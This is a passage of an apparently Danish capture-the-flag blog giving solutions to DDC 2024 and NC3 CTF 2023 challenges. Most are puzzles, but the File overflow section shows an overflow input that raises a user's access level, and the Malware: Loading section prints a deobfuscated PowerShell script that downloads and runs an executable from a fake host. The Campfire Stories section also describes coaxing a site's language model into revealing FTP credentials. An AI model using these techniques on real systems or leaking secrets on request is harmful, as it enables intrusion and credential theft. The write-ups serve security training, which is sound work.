</span></span><span class="line"><span class="cl">selcriCnIdn1un4567oRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRoun45671ndInCirclesIncorrect input
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
</span></span><span class="line"><span class="cl">selcriCnIdn1und567oRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRound5671ndInCirclesIncorrect input
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
</span></span><span class="line"><span class="cl">selcriCnIdn1und&amp;67oRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRound&amp;671ndInCirclesIncorrect input
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
</span></span><span class="line"><span class="cl">selcriCnIdn1und&amp;R7oRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRound&amp;R71ndInCirclesIncorrect input
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
</span></span><span class="line"><span class="cl">selcriCnIdn1und&amp;RooRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRound&amp;Ro1ndInCirclesIncorrect input
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ ./shuffler 
</span></span><span class="line"><span class="cl">selcriCnIdnuund&amp;RooRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRound&amp;RoundInCirclesDDC{this_is_not_the_flag}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">$ nc shuffler.hkn 1337
</span></span><span class="line"><span class="cl">__      __       .__                               
</span></span><span class="line"><span class="cl">/  \    /  \ ____ |  |   ____  ____   _____   ____  
</span></span><span class="line"><span class="cl">\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \ 
</span></span><span class="line"><span class="cl"> \        /\  ___/|  |_\  \__(  &lt;_&gt; )  Y Y  \  ___/ 
</span></span><span class="line"><span class="cl">  \__/\__/  \___ &gt; ____/\___/ \____/|__|_|  /\___ &gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.____           __           ___.                 .__        
</span></span><span class="line"><span class="cl">|    |    _____/  |_  ______ \_ |__   ____   ____ |__| ____  
</span></span><span class="line"><span class="cl">|    |  _/ __ \   __\/  ___/  | __ \_/ __ \ / ___\|  |/    \ 
</span></span><span class="line"><span class="cl">|    |__\  ___/|  |  \___ \   | \_\ \  ___// /_/  &gt;  |   |  \ 
</span></span><span class="line"><span class="cl">|_______ \___  &gt;__| /____  &gt;  |___  /\___  &gt;___  /|__|___|  /
</span></span><span class="line"><span class="cl">        \/   \/          \/       \/     \/_____/         \/ 
</span></span><span class="line"><span class="cl">   __  __                                                      
</span></span><span class="line"><span class="cl">  / /_/ /_  ___     _______  ______     ____ _____ _____ ___  ___ 
</span></span><span class="line"><span class="cl"> / __/ __ \/ _ \   / ___/ / / / __ \   / __  / __  / __  __ \/ _ \ 
</span></span><span class="line"><span class="cl">/ /_/ / / /  __/  / /__/ /_/ / /_/ /  / /_/ / /_/ / / / / / /  __/
</span></span><span class="line"><span class="cl">\__/_/ /_/\___/   \___/\__ _/  ___/   \__  /\__ _/_/ /_/ /_/\___/ 
</span></span><span class="line"><span class="cl">                           /_/       /____/
</span></span><span class="line"><span class="cl">Give me an input: 
</span></span><span class="line"><span class="cl">selcriCnIdnuund&amp;RooRoGspuCehT
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TheCupsGoRound&amp;RoundInCirclesDDC{K33p_my_3y3s_0n_th3_priz3}
</span></span></code></pre></div><p>Flag: <code>DDC{K33p_my_3y3s_0n_th3_priz3}</code></p>
<hr>
<h3 id="web-exploitation-awesome-javascript">Web Exploitation: Awesome Javascript</h3>
<p><em>Proposed difficulty: Very Easy</em></p>
<p>Haaukins info:
Browser: <a href="https://api.haaukins.com/api/?challenges=awesomejavascript">https://api.haaukins.com/api/?challenges=awesomejavascript</a>
VPN: <a href="https://ddc.haaukins.dk">https://ddc.haaukins.dk</a> Secret: &hellip;..</p>
<p>I dag er JavaScript afgørende for hjemmesider! Find en fed JS-funktion på <a href="http://awesome-js.hkn">http://awesome-js.hkn</a>!</p>
<p><strong>Løsning:</strong> <a href="http://awesome-js.hkn/main.js">http://awesome-js.hkn/main.js</a> har dette:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">flag</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s1">&#39;Here is your mighty reward: &#39;</span> <span class="o">+</span> <span class="nx">atob</span><span class="p">(</span><span class="s1">&#39;RERDe2wwbjNseS1qNHY0NWNyMXA3LWZ1bmM3MTBufQ&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Åben dev console i firefox og kør function flag(), som giver: &ldquo;Here is your mighty reward: DDC{l0n3ly-j4v45cr1p7-func710n}&rdquo;</p>
<p>Flag: <code>DDC{l0n3ly-j4v45cr1p7-func710n}</code></p>
<hr>
<h3 id="web-exploitation-we-need-more-crypto">Web Exploitation: we-need-more-crypto</h3>
<p><em>Proposed difficulty: Medium</em></p>
<p>Haaukins info:
Browser: <a href="https://api.haaukins.com/api/?challenges=we-need-more-crypto">https://api.haaukins.com/api/?challenges=we-need-more-crypto</a>
VPN: <a href="https://ddc.haaukins.dk">https://ddc.haaukins.dk</a> Secret: &hellip;..</p>
<p>Cryptocurrency er i øjeblikket det mest populære, og derfor er det vigtigt med endnu en platform, hvor du som bruger kan handle og foretage betalinger med din cryptocurrency! Hos CryptoFlex er vi dybt involveret i kryptovalutaer og ønsker derfor at præsentere innovative måder at håndtere handel og brug af kryptovalutaer på i dag. Vores nye hjemmeside er under udvikling, men er allerede tilgængelig online! Tag et kig på cryptoflex.hkn!</p>
<p><strong>Løsning:</strong> <a href="http://cryptoflex.hkn/robots.txt">http://cryptoflex.hkn/robots.txt</a> viser os at vi ikke burde gå til /images/new_images og kildekoden på <a href="http://cryptoflex.hkn/">http://cryptoflex.hkn/</a> har et image udkommenteret -&gt; <code>&lt;!-- &lt;img src=&quot;*********/wallet-img.jpg&quot; width=&quot;18px&quot; alt=&quot;&quot; /&gt; --&gt;</code>. cryptoflex.hkn/images/new_images/wallet-img.jpg -&gt; har et billede med flag på.</p>
<p>Flag: <code>DDC{c0mm3nted_c0de_c4n_st1LL_b3_se3N}</code></p>
<hr>
<h3 id="binary-exploitation-file-overflow">Binary Exploitation: File overflow</h3>
<p><em>Proposed difficulty: Easy</em></p>
<p>Haaukins info:
Browser: <a href="https://api.haaukins.com/api/?challenges=fileoverflow">https://api.haaukins.com/api/?challenges=fileoverflow</a>
VPN: <a href="https://ddc.haaukins.dk">https://ddc.haaukins.dk</a> Secret: &hellip;..</p>
<p>Tillykke med dit nye job her hos LS pension. Vi er glade for at du har valgt at starte her. For at du kan komme i gang skal du ind i vores filsystem. Her kan du finde de filer du skal bruge. SSH ind i vores system på FileSystem.hkn. Dit brugernavn er employe1 og din adgangskode er 321. Men pas på at du ikke får filsystemet til at flyde over.</p>
<p><code>ssh employe1@filesystem.hkn</code></p>
<p><strong>Løsning:</strong> Når vi logger på systemet via ssh kan vi se en src/File_acces_system.c og en ./File_acces_system , i .c filen kan vi se at der bliver assigned en maks værdi til user&rsquo;s password,</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="n">user</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">username</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">access_level</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="n">user</span><span class="p">;</span>
</span></span></code></pre></div><p>ved at ændre vores password til noget mere end 32 lang kan vi snyde systemet og få et højere access level -&gt;</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">Select an option:
</span></span><span class="line"><span class="cl">1. Check access level
</span></span><span class="line"><span class="cl">2. View account details
</span></span><span class="line"><span class="cl">3. Change password
</span></span><span class="line"><span class="cl">4. Access file
</span></span><span class="line"><span class="cl">0. Exit
</span></span><span class="line"><span class="cl">3
</span></span><span class="line"><span class="cl">Enter new password: 0123456789012345678901234567890133 3\0\0                          
</span></span><span class="line"><span class="cl">Password changed successfully!
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Select an option:
</span></span><span class="line"><span class="cl">1. Check access level
</span></span><span class="line"><span class="cl">2. View account details
</span></span><span class="line"><span class="cl">3. Change password
</span></span><span class="line"><span class="cl">4. Access file
</span></span><span class="line"><span class="cl">0. Exit
</span></span><span class="line"><span class="cl">Enter new password: Password changed successfully!
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Select an option:
</span></span><span class="line"><span class="cl">1. Check access level
</span></span><span class="line"><span class="cl">2. View account details
</span></span><span class="line"><span class="cl">3. Change password
</span></span><span class="line"><span class="cl">4. Access file
</span></span><span class="line"><span class="cl">0. Exit
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">Your access level is: 13107
</span></span><span class="line"><span class="cl">contagt admin to get higher access level
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Select an option:
</span></span><span class="line"><span class="cl">1. Check access level
</span></span><span class="line"><span class="cl">2. View account details
</span></span><span class="line"><span class="cl">3. Change password
</span></span><span class="line"><span class="cl">4. Access file
</span></span><span class="line"><span class="cl">0. Exit
</span></span><span class="line"><span class="cl">4
</span></span><span class="line"><span class="cl">Since you are the boss you can get the balance of any account
</span></span><span class="line"><span class="cl">DDC{THE_FILES_ARE_EVERYWHERE}
</span></span><span class="line"><span class="cl">Select an option:
</span></span><span class="line"><span class="cl">1. Check access level
</span></span><span class="line"><span class="cl">2. View account details
</span></span><span class="line"><span class="cl">3. Change password
</span></span><span class="line"><span class="cl">4. Access file
</span></span><span class="line"><span class="cl">0. Exit
</span></span></code></pre></div><p>Flag: <code>DDC{THE_FILES_ARE_EVERYWHERE}</code></p>
<hr>
<h3 id="binary-exploitation-hangry-cpu">Binary Exploitation: Hangry CPU</h3>
<p><em>Proposed difficulty: Medium</em></p>
<p>Broooo du tror det ikke!! Din CPU har spist flaget, og jeg skulle ellers lige til at give det til dig&hellip;
Legenden siger at hvis du spiser hvidløg så forsvinder vampyrerne, men de siger også at du kan bruge GDB til at tjekke din CPUs mave. Lækkert ikke?
Nårh, men hils CPU&rsquo;en fra mig og sig til den at den skal give mig mine barbecue chips tilbage.</p>
<p>Vedhæftet fil: <a href="/ddc2024/binary_exploitation/chall.zip">chall.zip</a></p>
<p><strong>Løsning:</strong> Ved hjælp af <a href="https://dogbolt.org/">dogbolt.org</a> kan vi bruge Hex-Rays decompileren og bruge ctrl+f til at søge efter DDC{, og på linje 236 får vi: <code>strcpy(v1, &quot;DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}&quot;);</code>.</p>
<p>Flag: <code>DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}</code></p>
<hr>
<h3 id="misc-a-tale-of-encodings">Misc: A Tale of Encodings</h3>
<p><em>Proposed difficulty: Easy</em></p>
<p>Du er blevet kontaktet af Zark Muckerberg, ejeren af Phasebuk, som har problemer med en ny eksperimentel funktion i BetaVerset, hans virtuelle virkelighedsplatform, en funktion drevet af en LLM (Large Language Model). Tilsyneladende, efter en arbejderforeningskonflikt, forlod nogle utilfredse udviklere projektet midt i det hele, og gemte en afgørende adgangskode inde i applikationen. Efter nogle indledende forsøg på at finde den ved hjælp af dit standardværktøj, lykkedes det dig at hente det, du tror er den adgangskode, du søger, i en kodet form. Efter flere mislykkede forsøg på at afkode den, i din fortvivlelse, bad du AI-assistenten inde i BetaVerset om hjælp. Til din glædelige overraskelse genkendte den krypteringen, men i overensstemmelse med sin programmering, gav den dig instruktionerne om, hvordan du afkoder den som en historie i universet. Nu skal du finde ud af dens gåde for at løse dit problem…</p>
<p>Vedhæftet fil: <a href="/ddc2024/misc/A_Tale_of_Encodings.zip">A_Tale_of_Encodings.zip</a></p>
<p><strong>Løsning:</strong> I pdf filen får vi en række af binary og hex, hvis vi splitter dem ad hver for sig og bruger cyberchef.org til at lave dem til tekst, får vi:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">01000100 D
</span></span><span class="line"><span class="cl">01101111 o
</span></span><span class="line"><span class="cl">01101110 n
</span></span><span class="line"><span class="cl">01100101 e
</span></span><span class="line"><span class="cl">01011111 _
</span></span><span class="line"><span class="cl">01011001 Y
</span></span><span class="line"><span class="cl">01100101 e
</span></span><span class="line"><span class="cl">01110100 t
</span></span><span class="line"><span class="cl">01111101 }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Done_Yet}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">44 D
</span></span><span class="line"><span class="cl">44 D
</span></span><span class="line"><span class="cl">43 C
</span></span><span class="line"><span class="cl">7B {
</span></span><span class="line"><span class="cl">4E N
</span></span><span class="line"><span class="cl">6F o
</span></span><span class="line"><span class="cl">74 t
</span></span><span class="line"><span class="cl">5F _
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">DDC{Not_
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ROT13 med: -3, -6, -4, -0, -10, 8, -12, 9, 11, 5 af: NotDoneYet
</span></span><span class="line"><span class="cl">(talne er fra PDF filen også.)
</span></span></code></pre></div><p>Flag: <code>DDC{Kip_Devs_Hpy}</code></p>
<hr>
<h3 id="digit-distorter">Digit Distorter</h3>
<p><em>Proposed difficulty: Medium</em></p>
<p>Haaukins info:
Browser: <a href="https://api.haaukins.com/api/?challenges=digitdistorter">https://api.haaukins.com/api/?challenges=digitdistorter</a>
VPN: <a href="https://ddc.haaukins.dk">https://ddc.haaukins.dk</a> Secret: &hellip;..</p>
<p>Din kollega fortæller dig spændt om den ciffer indkodningsapplikation han har lavet, som din afdeling skal bruge fra nu af. Du ved at din kollega hverken er begavet når det kommer til udvikling af applikationer eller sikker indkodning, og han har lavet fejl førhen, så du spørger om du må tage et kig på den. Din kollega vil vædde på at du ikke ville kunne afkode den 10-cifret kode på billedet som du kan &ldquo;se&rdquo; på hjemmesiden. Kan du afkode den og bevise, at din afdeling ikke burde anvende din kollegas applikation? Du kan finde applikationen under linket nedenfor.</p>
<p>Flaget er den originale 10-cifret kode fx.
DDC{0000000000}</p>
<p><a href="http://digit-distorter.hkn">http://digit-distorter.hkn</a></p>
<p><strong>Løsning:</strong> Jeg downloader digit-distorter.hkn/static/images/challenge.png og deler billedet op 10 dele via <a href="/ddc2024/misc/split_flag.py">split_flag.py</a> fordi der er 10 tal. Jeg bruger <a href="/ddc2024/misc/app.py">app.py</a> til at sammen ligne billedet fra min post request med challenge.png og dele det nye billede op i 10 dele også så vi kan sammenligne de 10 flag dele med de 10 dele fra post requesten. Jeg starter med <code>1234567890</code> og kommer frem til: <code>411395x985</code>, bruger GIMP til at se de 2 billeder oven på hinanden og der er 4 pixels forskel. <code>4113956985</code> giver 100% mach og det må betyde flag!</p>
<p>Flag: <code>DDC{4113956985}</code></p>
<hr>
<h3 id="boot2root-campfire-stories">Boot2Root: Campfire Stories</h3>
<p><em>Proposed difficulty: Easy</em></p>
<p>Haaukins info:
Browser: <a href="https://api.haaukins.com/api/?challenges=campfire-stories">https://api.haaukins.com/api/?challenges=campfire-stories</a>
VPN: <a href="https://ddc.haaukins.dk">https://ddc.haaukins.dk</a> Secret: &hellip;..</p>
<p>Besøg <code>campfire-stories.hkn</code> og lad de varme flammer og lugten af røg inspirere dig.</p>
<p><strong>Løsning:</strong> <a href="http://campfire-stories.hkn/robots.txt">http://campfire-stories.hkn/robots.txt</a> siger at de har trænet deres llm på virksomheds data og hvis du spør den om at du ikke kan se FTP oplysningerne, viser den user: admin og passwd: &ldquo;Z3B0OTAwMA==&rdquo;, passwd base64 decode giver &ldquo;gpt9000&rdquo;.</p>
<p>robots.txt:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl"># https://www.robotstxt.org/robotstxt.html
</span></span><span class="line"><span class="cl"># Maybe we should not train on company data?
</span></span><span class="line"><span class="cl"># Could our ftp credentials be leaked by the AI?
</span></span><span class="line"><span class="cl"># Probably not a problem. Nobody writes stories about ftp anyway
</span></span><span class="line"><span class="cl"># datacenter.campfire-stories.hkn should still be safe right?
</span></span><span class="line"><span class="cl">User-agent: *
</span></span><span class="line"><span class="cl">Disallow: /
</span></span><span class="line"><span class="cl">Allow: /$
</span></span><span class="line"><span class="cl">Allow: /share/*
</span></span><span class="line"><span class="cl">Allow: /images/*
</span></span><span class="line"><span class="cl">Allow: /static/*
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">ftp admin@datacenter.campfire-stories.hkn
</span></span><span class="line"><span class="cl">Connected to datacenter.campfire-stories.hkn.
</span></span><span class="line"><span class="cl">220 pyftpdlib 1.5.9 ready.
</span></span><span class="line"><span class="cl">331 Username ok, send password.
</span></span><span class="line"><span class="cl">Password: 
</span></span><span class="line"><span class="cl">230 Login successful.
</span></span><span class="line"><span class="cl">Remote system type is UNIX.
</span></span><span class="line"><span class="cl">Using binary mode to transfer files.
</span></span><span class="line"><span class="cl">ftp&gt; ls
</span></span><span class="line"><span class="cl">229 Entering extended passive mode (|||21013|).
</span></span><span class="line"><span class="cl">125 Data connection already open. Transfer starting.
</span></span><span class="line"><span class="cl">-rw-rw-rw-   1 root     root     22502646 Jan 09 08:25 train.txt
</span></span><span class="line"><span class="cl">226 Transfer complete.
</span></span><span class="line"><span class="cl">ftp&gt; get train.txt
</span></span><span class="line"><span class="cl">local: train.txt remote: train.txt
</span></span><span class="line"><span class="cl">229 Entering extended passive mode (|||21002|).
</span></span><span class="line"><span class="cl">125 Data connection already open. Transfer starting.
</span></span><span class="line"><span class="cl">100% |***********************************| 21975 KiB  156.92 MiB/s    00:00 ETA
</span></span><span class="line"><span class="cl">226 Transfer complete.
</span></span><span class="line"><span class="cl">22502646 bytes received in 00:00 (156.50 MiB/s)
</span></span><span class="line"><span class="cl">ftp&gt; bye
</span></span><span class="line"><span class="cl">221 Goodbye.
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">cat train.txt | grep &#34;DDC{&#34;
</span></span><span class="line"><span class="cl">DDC{Im-happy-Dave-I-see-you-found-the-flag}
</span></span></code></pre></div><p>Flag: <code>DDC{Im-happy-Dave-I-see-you-found-the-flag}</code></p>
<hr>
<h1 id="løsninger-til-opgaver-jeg-ikke-løste">Løsninger til opgaver jeg ikke løste:</h1>
<hr>
<h3 id="forensics-irriterende-kollegaer">Forensics: Irriterende Kollegaer</h3>
<p><em>Proposed difficulty: Hard</em></p>
<p>Jeg mistænker min kollega for at have gjort noget ved min computer. Jeg sad ved min maskine, og pludselig kom der nogle mærkelig beskeder op, og samtidig så jeg et USB stik i min computer! Jeg skyndte mig at fjerne USB stikket, og så slukkede computeren. Jeg må ikke tænde den for min chef, før I har undersøgt det.</p>
<p>Vi kan ikke få adgang til selve disken, men heldigvis har IT en agent der laver memorybackup ret ofte. IT sagde dog at jeg måske trak USB stikket lidt hurtigt ud, men det ikke burde gøre det store.</p>
<p>Vedhæftet filer: <strong>mem.vmem(2GB)</strong> - <strong>usb4.img(1.8GB)</strong> - Ikke uploadet pga. fil-størrelse.</p>
<p><strong>Løsning:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">strings -el mem.vmem <span class="p">|</span> grep <span class="s2">&#34;DDC{&#34;</span>
</span></span><span class="line"><span class="cl">E:<span class="se">\s</span>hutdown.exe <span class="o">(</span>DESKTOP-0R66HVM<span class="o">)</span>DESKTOP-0R66HVMNo title <span class="k">for</span> this reason could be found0x800000ffshutdownDDC<span class="o">{</span>57up1dc0w0rk3r<span class="o">}</span>DESKTOP-0R66HVM<span class="se">\T</span>erraria
</span></span></code></pre></div><p>Flag: <code>DDC{57up1dc0w0rk3r}</code></p>
<hr>
]]></content></item><item><title>NC3 CTF 2023 : Writeups</title><link>https://ha1fdan.xyz/en/posts/nc3_ctf_2023/</link><pubDate>Sat, 11 Nov 2023 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/nc3_ctf_2023/</guid><description>&lt;h2 id="opgaver-løst"&gt;Opgaver løst:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Kom godt i gang: Discord&lt;/li&gt;
&lt;li&gt;Kom godt i gang: One Time Slider&lt;/li&gt;
&lt;li&gt;Cyberkok: Hekseri&lt;/li&gt;
&lt;li&gt;Malware: Loading&lt;/li&gt;
&lt;li&gt;Malware: OSINT&lt;/li&gt;
&lt;li&gt;Stego: Julemandens Gætteleg&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="kom-godt-i-gang-discord"&gt;Kom godt i gang: Discord&lt;/h3&gt;
&lt;p&gt;Vi har en Discord server til CTFen, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut. Kom og vær med - måske nisserne har gemt et flag!&lt;/p&gt;
&lt;p&gt;&lt;a href="https://nc3ctf.dk/discordauth"&gt;https://nc3ctf.dk/discordauth&lt;/a&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<h2 id="opgaver-løst">Opgaver løst:</h2>
<ul>
<li>Kom godt i gang: Discord</li>
<li>Kom godt i gang: One Time Slider</li>
<li>Cyberkok: Hekseri</li>
<li>Malware: Loading</li>
<li>Malware: OSINT</li>
<li>Stego: Julemandens Gætteleg</li>
</ul>
<hr>
<h3 id="kom-godt-i-gang-discord">Kom godt i gang: Discord</h3>
<p>Vi har en Discord server til CTFen, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut. Kom og vær med - måske nisserne har gemt et flag!</p>
<p><a href="https://nc3ctf.dk/discordauth">https://nc3ctf.dk/discordauth</a></p>
<p><img src="https://raw.githubusercontent.com/ha1fdan/nc3ctf_2023_writeups/main/start_discord/screenshot.png" alt="Screenshot af NC3 CTF 2023 Discord" title="Screenshot af NC3 CTF 2023 Discord"></p>
<p>Flag: <code>NC3{m0d3rn3_n1ss3_k0mmun1k4710n}</code></p>
<hr>
<h3 id="kom-godt-i-gang-one-time-slider">Kom godt i gang: One Time Slider</h3>
<p>Kryptonissen har læst op på One Time Pads og er kommet frem til en endnu mere sikker kryptering:</p>
<p>Hvis man nu slider en OTP henover hele ciphertexten, bliver hver plaintext byte krypteret mange gange - det må være bedre end én!</p>
<p>Han har krypteret en besked til dig:
<code>e9e494dcd1c2c9d3f8d1c6d5f8c3c2d3f8c3d2cad3f8c6d3f8ffe8f5f8c6cbcbc2f8c5ded3c2d4f8cac2c3f8cfd1c2d5f8ccc2def8c5ded3c2989898da</code></p>
<p>Vedhæftet fil: <a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/start_one-time-slider/onetimeslider.py">onetimeslider.py</a></p>
<p><a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/start_one-time-slider/app.py">app.py</a> udfører brute force dekryptering af den krypteret værdi, indtil det dekrypterede resultat starter med &ldquo;NC3{&rdquo;.</p>
<p>Flag: <code>NC3{vent_var_det_dumt_at_XOR_alle_bytes_med_hver_key_byte???}</code></p>
<hr>
<h3 id="cyberkok-hekseri">Cyberkok: Hekseri</h3>
<p>Vi har modtaget følgende kalender fra vores verdensberømte cyberkok. Han har bagt kage og hekset julegodter frem for blandt andre GCHQ.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">+ -------------------- +
</span></span><span class="line"><span class="cl">|       DECEMBER       |
</span></span><span class="line"><span class="cl">+ -------------------- +
</span></span><span class="line"><span class="cl">|  M  T  O  T  F  L  S |
</span></span><span class="line"><span class="cl">+ -------------------- +
</span></span><span class="line"><span class="cl">| 4e 43 33 7b 6e 75 20 |
</span></span><span class="line"><span class="cl">| 65 72 20 64 65 74 20 | 
</span></span><span class="line"><span class="cl">| 6a 75 6c 65 74 69 64 |
</span></span><span class="line"><span class="cl">| 20 69 67 65 6e 21 20 |
</span></span><span class="line"><span class="cl">| 3c 33 7d             |
</span></span><span class="line"><span class="cl">+ -------------------- +
</span></span></code></pre></div><ol>
<li>Åben <a href="https://cyberchef.org/">https://cyberchef.org</a> - Vælg From Hex og i Input sæt ind fra <code>4e - 7d</code></li>
<li>Her er alle hex værdier i Cyberchef samt From hex -&gt; <a href="https://cyberchef.org/#recipe=From_Hex('Auto')&amp;input=NGUgNDMgMzMgN2IgNmUgNzUgMjAgNjUgNzIgMjAgNjQgNjUgNzQgMjAgNmEgNzUgNmMgNjUgNzQgNjkgNjQgMjAgNjkgNjcgNjUgNmUgMjEgMjAgM2MgMzMgN2Q">Link</a></li>
</ol>
<p>Flag: <code>NC3{nu er det juletid igen! &lt;3}</code></p>
<hr>
<h3 id="malware-loading">Malware: Loading</h3>
<p>Hvordan er det reelle payload hentet ned og hvorfra? Kan du finde andre payloads, der kan hjælpe os til at koble aktøren på andre sager og måske endda komme dem i forkøbet?</p>
<p>Din analyse fra Nisseware: Phishing vil være en hjælp, men er ikke nødvendig for at løse opgaven.</p>
<ol>
<li>
<p>Googler &ldquo;N1ss3b4nd3n&rdquo;</p>
</li>
<li>
<p>Finder GitHub: <a href="https://github.com/N1ss3b4nd3n/N1ss3b4nd3n">https://github.com/N1ss3b4nd3n/N1ss3b4nd3n</a></p>
</li>
<li>
<p>kigger i commits på README.md</p>
</li>
<li>
<p>Commit <a href="https://github.com/N1ss3b4nd3n/N1ss3b4nd3n/commit/48fb3b4b295eb7486289e21efa8dbe84fecabe31">48fb3b4</a> har dette pastebin link: <a href="https://pastebin.com/raw/CiZTV3BA">https://pastebin.com/raw/CiZTV3BA</a></p>
</li>
<li>
<p>Downloader pastebin siden som <a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/malware_loading/powershell_code.ps1">powershell_code.ps1</a> fil og
erstatter <code>Invoke-Expression -Command ([System.Text.Encoding]::UTF8.GetString($script))</code>
med <code>echo [System.Text.Encoding]::UTF8.GetString($script)</code></p>
</li>
<li>
<p>Så får jeg en lang liste af tal som jeg gemmer som <a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/malware_loading/chars.txt">chars.txt</a></p>
</li>
<li>
<p>Jeg skriver <a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/malware_loading/app.py">app.py</a> hvor jeg looper gennem alle tal fra <a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/malware_loading/chars.txt">chars.txt</a> og
bruger Pythons <code>chr()</code> function til at lave tal om til bogstaver fordi de matcher unicodes.</p>
</li>
<li>
<p><a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/malware_loading/app.py">app.py</a> printer dette ud:</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ps1" data-lang="ps1"><span class="line"><span class="cl"><span class="nv">$fileUrl</span> <span class="p">=</span> <span class="s2">&#34;http://321.123.f4k3.1337/megetfarligfil.exe&amp;token=NC3{dyn4m1sk_p4yl04d_0pd4t3r1ng}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$client</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">System</span><span class="p">.</span><span class="py">Net</span><span class="p">.</span><span class="py">WebClient</span>
</span></span><span class="line"><span class="cl"><span class="nv">$client</span><span class="p">.</span><span class="py">DownloadFile</span><span class="p">(</span><span class="nv">$fileUrl</span><span class="p">,</span> <span class="p">(</span><span class="nb">Get-Location</span><span class="p">).</span><span class="py">Path</span> <span class="p">+</span> <span class="s2">&#34;\download.exe&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">Start-Process</span> <span class="p">(</span><span class="nb">Get-Location</span><span class="p">).</span><span class="py">Path</span> <span class="p">+</span> <span class="s2">&#34;\download.exe&#34;</span>
</span></span></code></pre></div><p>i <code>$fileUrl</code> kan man se at GET parameteret &ldquo;token&rdquo; indenholder flaget -&gt; <code>NC3{dyn4m1sk_p4yl04d_0pd4t3r1ng}</code></p>
<p>Flag: <code>NC3{dyn4m1sk_p4yl04d_0pd4t3r1ng}</code></p>
<hr>
<h3 id="malware-osint">Malware: OSINT</h3>
<p>Vi har brug for al information vi kan fremfinde offentligt på nettet om N1ss3b4nd3n og dens medlemmer, så vi kan identificere alle gerningspersoner, finde deres virkelige identitet og undersøge deres rolle i sagerne.</p>
<p>Opgaven bygger videre de fundne spor i Nisseware: Loading.</p>
<ol>
